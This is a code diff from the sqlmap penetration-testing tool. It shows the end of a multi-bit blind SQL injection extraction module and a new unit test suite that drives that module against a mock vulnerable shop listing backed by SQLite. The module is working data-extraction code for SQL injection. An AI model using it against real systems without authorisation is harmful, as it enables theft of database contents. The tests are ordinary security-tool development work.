check to the next one instead of condemning a channel that calibrated cleanly.
"""
profile["attempts"] += 1
getCurrentThreadData().shared.value = "" # getChar() reads it, and bisection only seeds it further down
reference = bisectChar(1)
probe = _read(profile, expression, 1, 1)
if probe is None or not reference or ord(reference) > 127:
_debug("first character of this value cannot settle the cross-check, deferring")
elif decodeIntToUnicode(probe[0]) == reference:
profile["verified"] = True
return True
else:
_debug("first character disagreed with the boolean oracle (%r vs %r)" % (probe, reference))
profile["attempts"] = MULTIBIT_MAX_FAILURES # a real disagreement, not an unlucky value
if profile["attempts"] >= MULTIBIT_MAX_FAILURES:
_debug("channel abandoned, the boolean oracle never confirmed it")
kb.multibit[profile["key"]] = False
return False
def _profile(expression, bisectChar):
"""Discovers and calibrates the channel ONCE per injection point, then has it cross-checked."""
key = "%s|%s|%s|%s" % (conf.hostname or "", conf.path or "", kb.injection.place or "", kb.injection.parameter)
profile = kb.multibit.get(key)
if profile is False:
return None
if profile is None:
kb.multibit[key] = False # pessimistic: any exit below leaves it latched off
# The switch is the permission, so the whole table is fair game: the wide channel reads several
# characters per request, the page's own rows only as many bits as it renders.
for mode in (MULTIBIT_WIDEN, MULTIBIT_NARROW):
profile = _discover(mode)
if profile and _calibrate(profile):
break
profile = None
if not profile:
_debug("no usable row channel on this parameter") # quiet: bisection carries on below
return None
if _verbose():
dataToStdout("\n") # bisection has already printed "retrieved: "
profile = _finish(profile, key)
if _verbose():
dataToStdout("[%s] [INFO] retrieved: " % time.strftime("%X"))
if not profile["verified"] and not _verify(profile, expression, bisectChar):
return None
return profile
def _readChunk(profile, expression, position, count):
"""
One read of `count` characters, with a single retry - a transient junk response (a gateway error,
an interstitial) must not cost the whole value.
"""
try:
retVal = _read(profile, expression, position, count)
return retVal if retVal is not None else _read(profile, expression, position, count)
except Exception as ex:
_debug("read at position %d failed (%s)" % (position, ex))
return None
def _chunks(length, perCall):
"""(position, count) pairs covering the whole value, or None while its length is unknown."""
if not (isinstance(length, int) and length > 0):
return None
return [(1 + _, min(perCall, length - _)) for _ in xrange(0, length, perCall)]
def _serial(profile, expression, chunks, perCall):
"""
Chunk after chunk. Without a known length this is the only way, since the value ends where the
channel reads a zero ordinal.
"""
retVal, done = u"", False
for position, count in chunks or ((_, perCall) for _ in xrange(1, MAX_MULTIBIT_LENGTH, perCall)):
chunk = _readChunk(profile, expression, position, count)
if chunk is None:
_debug("channel stopped answering at position %d" % position)
return None
for value in chunk:
if not value: # end of value (or a NUL, which classic cannot carry either)
done = True
break
retVal += decodeIntToUnicode(value)
if _verbose():
dataToStdout(filterControlChars(retVal[position - 1:]))
if done:
break
if not (done or chunks):
_debug("value exceeded the %d character ceiling" % MAX_MULTIBIT_LENGTH)
return None
return retVal
def _parallel(profile, expression, chunks, numThreads):
"""
The same reads spread over '--threads'. Every chunk sits at a known position, so they are as
independent as the characters the single-bit path parallelises over. Multi-bit runs its OWN
workers: bisection's read one character each, which would leave most of the channel idle.
"""
pending, values = list(chunks), {}
def readThread():
while kb.threadContinue:
with kb.locks.multibit:
if not pending:
return
position, count = pending.pop(0)
chunk = _readChunk(profile, expression, position, count)
if chunk is None:
_debug("channel stopped answering at position %d" % position)
kb.threadContinue = False
return
with kb.locks.value:
values[position] = chunk
technique = getTechnique() # runThreads' cleanup clears it (and releases every lock)
try:
runThreads(numThreads, readThread, startThreadMsg=False)
finally:
setTechnique(technique)
retVal, done = u"", False
for position, _ in chunks:
if position not in values: # a chunk that never answered leaves a hole
return None
for value in values[position]:
if not value: # a value shorter than the length it announced
done = True
break
retVal += decodeIntToUnicode(value)
if done:
break
if _verbose(): # the workers ran muted, so the value appears at once
dataToStdout(filterControlChars(retVal))
return retVal
def attempt(expression, bisectChar, length=None, charsetType=None, partial=False):
"""
Returns the extracted value, or None if multi-bit is not usable here (caller falls back to
classic bisection). `bisectChar(position)` is the trusted single-bit extractor.
"""
if not _usable(charsetType, partial):
return None
with kb.locks.multibit:
try:
profile = _profile(expression, bisectChar)
except Exception as ex:
_debug("profiling failed (%s)" % ex)
return None
if not profile:
return None
# Discovery is paid once per injection point, so even short values (table and column names) are
# cheaper here afterwards - a single character is not, since confirming it costs as much as
# bisecting it.
if isinstance(length, int) and length < 2:
return None
chunks = _chunks(length, profile["perCall"])
# a value-parallel enumeration worker is already one thread of several, so it reads on its own
numThreads = 1 if kb.multiThreadMode else min(conf.threads or 1, len(chunks or ()))
if numThreads > 1:
retVal = _parallel(profile, expression, chunks, numThreads)
else:
retVal = _serial(profile, expression, chunks, profile["perCall"])
if retVal is None:
return None
try:
confirmed = _confirm(profile, expression, retVal, length)
except Exception as ex:
_debug("confirmation failed (%s)" % ex)
confirmed = False
if confirmed is not True:
if _verbose():
dataToStdout("\r[%s] [INFO] retrieved: %s\r[%s] [INFO] retrieved: " % (time.strftime("%X"), " " * len(retVal), time.strftime("%X")))
singleTimeWarnMessage("multi-bit inference could not confirm a value, falling back to single-bit")
# a value the channel cannot carry (non-ASCII, or data the unescaper stands down on) is
# nobody's fault; a channel that keeps disagreeing costs a full read plus a confirmation on
# every value, so only that counts towards giving up on it
if confirmed is None:
return None
profile["failures"] += 1
if profile["failures"] >= MULTIBIT_MAX_FAILURES:
_debug("channel abandoned after %d unconfirmed values" % profile["failures"])
kb.multibit[profile["key"]] = False
return None
profile["failures"] = 0
return retVal
+418
View File
@@ -0,0 +1,418 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
See the file 'LICENSE' for copying permission
Multi-bit blind inference (lib/techniques/blind/multibit.py).
Row multiplexing turns "which rows came back" into a whole bit vector per response, so it is only
safe as long as its gates hold: it runs on demand only ('--multi-bit'), it must decline on pages that
cannot superpose (pagination), on rows that carry no unique marker, and on values the 8-bit channel
cannot carry - and it must NEVER hand back a value it could not prove against the target.
Driven offline against a real SQLite engine: the module's own predicates (the <bitmap>/<bitcol> atoms
from queries.xml) are evaluated by sqlite3 over a synthetic listing table and the result is rendered
as a page, exactly the way a vulnerable listing endpoint would. Only multibit._page is mocked, so
discovery, bit-plane mapping, calibration, reading and confirmation all run for real.
"""
import os
import sqlite3
import sys
import threading
import unittest
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from _testutils import bootstrap, set_dbms, reset_dbms
bootstrap()
from lib.core.data import conf, kb, queries
from lib.core.enums import DBMS
from lib.core.enums import PAYLOAD
from lib.core.settings import MULTIBIT_NARROW
from lib.core.settings import MULTIBIT_WIDEN
from plugins.dbms.sqlite import SQLiteMap # registers the SQLite escaper used by the read-back
import lib.techniques.blind.multibit as multibit
assert SQLiteMap
ROWS = 96
SMALL = 15 # a real shop listing, far short of the 128 wide window
_WARN = multibit.singleTimeWarnMessage # restored after the cases that capture the nudge
def tearDownModule():
reset_dbms()
class _Target(object):
"""A vulnerable listing endpoint: renders the rows its (injected) predicate selects."""
def __init__(self, secret, limit=None, unique=True, junkEvery=0, column="id", rows=ROWS, shown=None, widenable=True):
self.db = sqlite3.connect(":memory:", check_same_thread=False) # '--threads' reads it from several
self.lock = threading.Lock()
self.db.execute("CREATE TABLE products (id INTEGER PRIMARY KEY, cat INTEGER, name TEXT)")
for i in range(1, rows + 1):
self.db.execute("INSERT INTO products VALUES (?,?,?)", (i, i, "Item-%03d" % i))
self.db.execute("CREATE TABLE v (s TEXT)")
self.db.execute("INSERT INTO v VALUES (?)", (secret,))
self.column = column # name the per-row link uses for the identifier
self.shown = shown # rows the page shows on its own (narrow mode's width)
self.limit = limit # rows rendered per response (pagination)
self.unique = unique # per-row markers, or identical rows
self.junkEvery = junkEvery # every Nth response is a gateway error
self.widenable = widenable # whether an OR payload can reach past the page's own rows
self.requests = 0
def secret(self, value):
"""Point the target at another value, keeping the row channel (and its profile) intact."""
self.db.execute("UPDATE v SET s=?", (value,))
return value
def page(self, expression, mode="widen"):
with self.lock:
self.requests += 1
requests = self.requests
if self.junkEvery and requests % self.junkEvery == 0:
return "<html><body><h1>502 Bad Gateway</h1></body></html>"
if mode != "widen": # AND-ed onto the live value: only the page's own rows
expression = "%s<=%d AND (%s)" % (self.column, self.shown or ROWS, expression)
elif not self.widenable: # a filter in a subquery the injected OR cannot escape
return "<html><body>Database error</body></html>"
try:
with self.lock:
rows = self.db.execute("SELECT %s,name FROM products WHERE %s ORDER BY id" % (self.column, expression)).fetchall()
except Exception:
return "<html><body>Database error</body></html>"
if self.limit:
rows = rows[:self.limit]
out = ["<html><body>"]
for rid, name in rows:
if self.unique:
out.append('<div class="item"><a href="/product.php?%s=%d">%s</a></div>' % (self.column, rid, name))
else:
out.append('<div class="item"><a href="/product.php">product</a></div>')
out.append("</body></html>")
return "\n".join(out)
class MultibitTest(unittest.TestCase):
def setUp(self):
self._saved = dict((_, conf.get(_)) for _ in ("multiBit", "firstChar", "lastChar", "hostname", "path", "verbose", "eta", "api", "noEscape", "threads"))
self._savedKb = dict((_, kb.get(_)) for _ in ("multibit", "multibitHinted", "nullConnection", "technique", "injection", "bruteMode", "multiThreadMode", "originalPage"))
self._savedPage = multibit._page
self._savedInjection = (kb.injection.place, kb.injection.parameter, kb.injection.data)
conf.multiBit = True # opt-in: nothing here runs without the switch
conf.firstChar = conf.lastChar = None
conf.hostname, conf.path, conf.verbose = "test", "/", 0
conf.eta = conf.api = conf.noEscape = False
conf.threads = 1
kb.multibit = {}
kb.multibitHinted = False
kb.nullConnection = None
kb.originalPage = None # force discovery through the (mocked) request path
kb.bruteMode = kb.multiThreadMode = False
kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN
kb.injection.place, kb.injection.parameter = "GET", "cat"
kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {}}
kb.data.processChar = None
set_dbms("SQLite")
def tearDown(self):
for key, value in self._saved.items():
conf[key] = value
for key, value in self._savedKb.items():
kb[key] = value
# kb.injection is restored by identity above, so its members have to be put back one by one
kb.injection.place, kb.injection.parameter, kb.injection.data = self._savedInjection
multibit._page = self._savedPage
def _attempt(self, secret, length=None, **kwargs):
target = _Target(secret, **kwargs)
multibit._page = target.page
return self._read(target, secret, length), target
def _read(self, target, secret, length=None):
"""Extracts the target's CURRENT value, so a case can chain several through one channel."""
multibit._page = target.page
return multibit.attempt("SELECT s FROM v", lambda idx: secret[idx - 1:idx], length)
def test_extracts_and_beats_single_bit(self):
secret = "sqlmap-multi-bit-channel-1234567890-ABCDEFGHIJKLMNOPQRSTUVWXYZ"
value, target = self._attempt(secret, len(secret))
self.assertEqual(value, secret)
# single-bit would need 8 requests per character just to read it
self.assertLess(target.requests, 8 * len(secret))
def test_extracts_without_known_length(self):
secret = "no-length-known-here-but-still-exact"
value, _ = self._attempt(secret)
self.assertEqual(value, secret)
def test_declines_when_too_few_rows_are_rendered(self):
# not even two bits plus a canary, so there is nothing to multiplex
value, target = self._attempt("this must never come back", 25, limit=2)
self.assertIsNone(value)
self.assertLess(target.requests, 40) # and it must find that out cheaply
def test_page_that_cannot_be_widened_falls_back_to_its_own_rows(self):
# a fixed filter in a subquery the injected OR cannot escape: the whole-table channel does not
# calibrate, and the five rows the page itself renders still carry four bits per request
secret = "five rows still beat one bit"
value, _ = self._attempt(secret, len(secret), limit=5, widenable=False)
self.assertEqual(value, secret)
self.assertEqual(list(kb.multibit.values())[0]["mode"], MULTIBIT_NARROW)
def test_small_table_is_usable(self):
# a listing with far fewer rows than the 128 wide identifier window leaves the high bit planes
# empty; the shared row markup must not then be placed at a row that does not exist (it would
# become the canary, and "no rows selected" would be indistinguishable from a junk response)
secret = "fifteen products are enough to carry this"
value, _ = self._attempt(secret, len(secret), rows=SMALL)
self.assertEqual(value, secret)
def test_pagination_wider_than_the_channel_is_still_usable(self):
# a page that renders 10 rows can still carry a channel that only ever addresses 9 of them -
# rejecting it would throw the technique away on most real listings
secret = "ten rendered rows are enough"
value, _ = self._attempt(secret, len(secret), limit=10)
self.assertEqual(value, secret)
def test_declines_when_rows_carry_no_unique_marker(self):
value, _ = self._attempt("indistinguishable rows", 22, unique=False)
self.assertIsNone(value)
def test_declines_on_non_ascii_value(self):
# 8 bits cannot carry it, so the read-back must catch it rather than return mojibake
value, _ = self._attempt(u"stra\u017enji dio", 12)
self.assertIsNone(value)
def test_junk_responses_never_produce_a_wrong_value(self):
secret = "junk-tolerant-extraction-must-stay-exact"
for every in (3, 5, 7, 11):
value, _ = self._attempt(secret, len(secret), junkEvery=every)
self.assertIn(value, (secret, None), "junkEvery=%d produced %r" % (every, value))
def test_unprovable_value_does_not_condemn_the_channel(self):
# the unescaper stands down on data matching EXCLUDE_UNESCAPE, so this value cannot be proven
# back - but that is the value's problem, not the channel's, and must not latch it off
value, _ = self._attempt("no way to escape CREATE TABLE x (a int)", 36)
self.assertIsNone(value)
self.assertNotEqual(list(kb.multibit.values()), [False])
def test_first_value_that_cannot_settle_the_cross_check_keeps_the_channel(self):
# the cross-check compares the FIRST character of whatever value comes first; an empty one, a
# non-ASCII one, and one whose codepoint has an ASCII low byte (U+0141 -> 0x41 'A') all settle
# nothing, and none of them may condemn a channel that calibrated cleanly
for first in ("", u"\u017eaba pod vodom", u"\u0141ukasz Nowak here"):
target = _Target(first)
self.assertIsNone(self._read(target, first, len(first) or None))
good = target.secret("plain ascii value that must still come back")
self.assertEqual(self._read(target, good, len(good)), good, "condemned after %r" % first)
def test_unreadable_value_mid_run_keeps_the_channel(self):
target = _Target("first value is perfectly readable ascii")
self.assertEqual(self._read(target, "first value is perfectly readable ascii", 39), "first value is perfectly readable ascii")
bad = target.secret(u"\u0141ukasz") # reads back as "Aukasz" - right length, wrong char
self.assertIsNone(self._read(target, bad, len(bad)))
good = target.secret("and the channel is still fine afterwards")
self.assertEqual(self._read(target, good, len(good)), good)
def test_row_identifier_may_share_the_injected_parameter_name(self):
# a shop injectable through ?cat= can perfectly well render per-row ?cat= links; the candidate
# is picked because its values VARY, not because of what it is called
secret = "same name as the injection point is fine"
value, _ = self._attempt(secret, len(secret), column="cat")
self.assertEqual(value, secret)
def test_atoms_are_wellformed_for_every_supported_dbms(self):
# only the SQLite path is executed above; the others must at least produce balanced, fully
# substituted SQL - including the negative shift a later window produces ("id--67" would be a
# comment, so it has to come out parenthesized)
for dbms in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MSSQL, DBMS.ORACLE, DBMS.SQLITE):
set_dbms(dbms)
expressions = (multibit._bitcol("id", 5, 3),
queries[dbms].bitmap.query % ("SELECT s FROM v", "id", "(-67)", 8, "id", "(-67)", 8))
for expression in expressions:
self.assertNotIn("--", expression, dbms)
self.assertNotIn("%s", expression, dbms)
self.assertNotIn("%d", expression, dbms)
self.assertEqual(expression.count("("), expression.count(")"), dbms)
def test_nothing_runs_without_the_switch(self):
conf.multiBit = False
value, target = self._attempt("not to be read", 14)
self.assertIsNone(value)
self.assertEqual(target.requests, 0)
def test_resumed_partial_value_is_left_to_bisection(self):
# a resumed value starts mid-string, and multi-bit reads from the first character: it would
# re-read what is already cached and then fail its own length read-back
target = _Target("resuming this one is bisection's job")
multibit._page = target.page
self.assertIsNone(multibit.attempt("SELECT s FROM v", lambda idx: 'x', 35, None, True))
self.assertEqual(target.requests, 0)
def test_threaded_read_matches_the_serial_one(self):
# the chunks sit at known positions, so they are independent; the value must come out identical
secret = "threaded reads must assemble in position order, not in completion order"
conf.threads = 4
value, _ = self._attempt(secret, len(secret))
self.assertEqual(value, secret)
def test_profile_is_per_injection_point(self):
secret = "first parameter value here padded out"
value, _ = self._attempt(secret, len(secret))
self.assertEqual(value, secret)
self.assertEqual(len(kb.multibit), 1)
kb.injection.parameter = "other"
value, _ = self._attempt(secret, len(secret))
self.assertEqual(value, secret)
self.assertEqual(len(kb.multibit), 2)
def test_identifiers_ignore_site_chrome(self):
# a single-product DETAIL page: one real row (a hidden form field), but the only REPEATED
# markup is the nav menu, the currency switcher and the security-level links - all site
# chrome. That must yield NO candidates, so the page is ruled out for free and the risk-3
# question can never fire on it (the exact failure this trigger replaces)
page = """
<!doctype html><html><head><title>x</title></head><body>
<header><div class='acct'>
<a href='/setcurr.php?c=USD'>USD</a><a href='/setcurr.php?c=EUR'>EUR</a>
<a href='/setlevel.php?l=low'>low</a><a href='/setlevel.php?l=high'>high</a>
</div></header>
<nav><a href='/category.php?cat=1'>A</a><a href='/category.php?cat=2'>B</a>
<a href='/category.php?cat=3'>C</a><a href='/category.php?cat=4'>D</a>
<a href='/category.php?cat=5'>E</a></nav>
<main><div class='product'><h2>Quantum USB Cable</h2>
<p class='price'>$9.99</p><p class='desc'>Transfers data before you even plug it in.</p>
<a class='btn' href='/cart.php?add=1'>add to cart</a></div>
<form method='post'><input type='hidden' name='product_id' value='1'>
<label>name<input name='author'></label></form></main>
<footer><p>demo shop</p></footer></body></html>
"""
self.assertEqual(multibit._identifiers(page), {})
def test_identifiers_find_repeated_row_forms(self):
# row identity hides in whatever markup the listing repeats: query strings, path segments,
# data attributes and hidden form fields all count - but only when the value VARIES
page = "".join(
"<div class='item'><a href='/product/%d'>p</a><span data-pid='%d'>%d</span>" % (_, _, _) +
"<input type='hidden' name='product_id' value='%d'>" % _ +
"<a href='details.php?sku=%d'>x</a></div>" % _
for _ in range(1, 6)) + "<div class='once'><a href='/cart.php?add=7'>y</a></div>"
found = multibit._identifiers(page)
self.assertEqual(found.get("product"), set(range(1, 6)))
self.assertEqual(found.get("pid"), set(range(1, 6)))
self.assertEqual(found.get("product_id"), set(range(1, 6)))
self.assertEqual(found.get("sku"), set(range(1, 6)))
self.assertNotIn("add", found) # a single value is page furniture, not a row id
def test_the_switch_takes_the_whole_table(self):
# the switch IS the permission, so discovery goes for the wide channel first - no question,
# whatever '--risk' says
secret = "the switch is the permission to widen"
value, _ = self._attempt(secret, len(secret))
self.assertEqual(value, secret)
self.assertEqual(list(kb.multibit.values())[0]["mode"], MULTIBIT_WIDEN)
def test_hint_costs_nothing_and_states_the_width(self):
# the nudge towards the switch is drawn from the page sqlmap already has, never from a probe
conf.multiBit = False # the nudge is for a run that did NOT ask for it
kb.originalPage = "".join("<div class='item'><a href='/product.php?id=%d'>p</a></div>" % _ for _ in range(1, 13))
warned = []
multibit.singleTimeWarnMessage = lambda message: warned.append(message)
try:
multibit.hint()
finally:
multibit.singleTimeWarnMessage = _WARN
self.assertEqual(len(warned), 1)
self.assertIn("12 rows", warned[0])
self.assertIn("--multi-bit", warned[0])
def test_hint_stays_quiet_on_a_page_that_renders_no_rows(self):
# the old trigger announced "the target lists rows" on the nav menu of a single-product DETAIL
# page and asked the user to accept risk 3; the nudge may only follow REPEATED CONTENT markup
conf.multiBit = False
kb.originalPage = ("<html><body>"
"<header><a href='/setcurr.php?c=USD'>USD</a><a href='/setcurr.php?c=EUR'>EUR</a></header>"
"<nav><a href='/category.php?cat=1'>A</a><a href='/category.php?cat=2'>B</a>"
"<a href='/category.php?cat=3'>C</a></nav>"
"<main><div class='product'><h2>Quantum USB Cable</h2><p class='price'>$9.99</p>"
"<input type='hidden' name='product_id' value='1'></div></main></body></html>")
multibit.singleTimeWarnMessage = lambda message: self.fail("hinted at a detail page: %s" % message)
try:
multibit.hint()
finally:
multibit.singleTimeWarnMessage = _WARN
def test_switch_on_an_unsupported_backend_says_so(self):
# the bit arithmetic exists for five back-ends; asking for the switch on any other one has to
# say why nothing happens instead of silently doing nothing
set_dbms(DBMS.FIREBIRD)
warned = []
multibit.singleTimeWarnMessage = lambda message: warned.append(message)
try:
multibit.hint()
finally:
multibit.singleTimeWarnMessage = _WARN
self.assertEqual(len(warned), 1)
self.assertIn("not supported", warned[0])
def test_hint_stays_quiet_when_an_inband_channel_is_available(self):
# UNION or error-based beats any row channel, so nudging towards this one would be noise
conf.multiBit = False
kb.originalPage = "".join("<div class='item'><a href='/product.php?id=%d'>p</a></div>" % _ for _ in range(1, 13))
kb.injection.data[PAYLOAD.TECHNIQUE.UNION] = {}
multibit.singleTimeWarnMessage = lambda message: self.fail("hinted over an in-band channel: %s" % message)
try:
multibit.hint()
finally:
multibit.singleTimeWarnMessage = _WARN
if __name__ == "__main__":
unittest.main()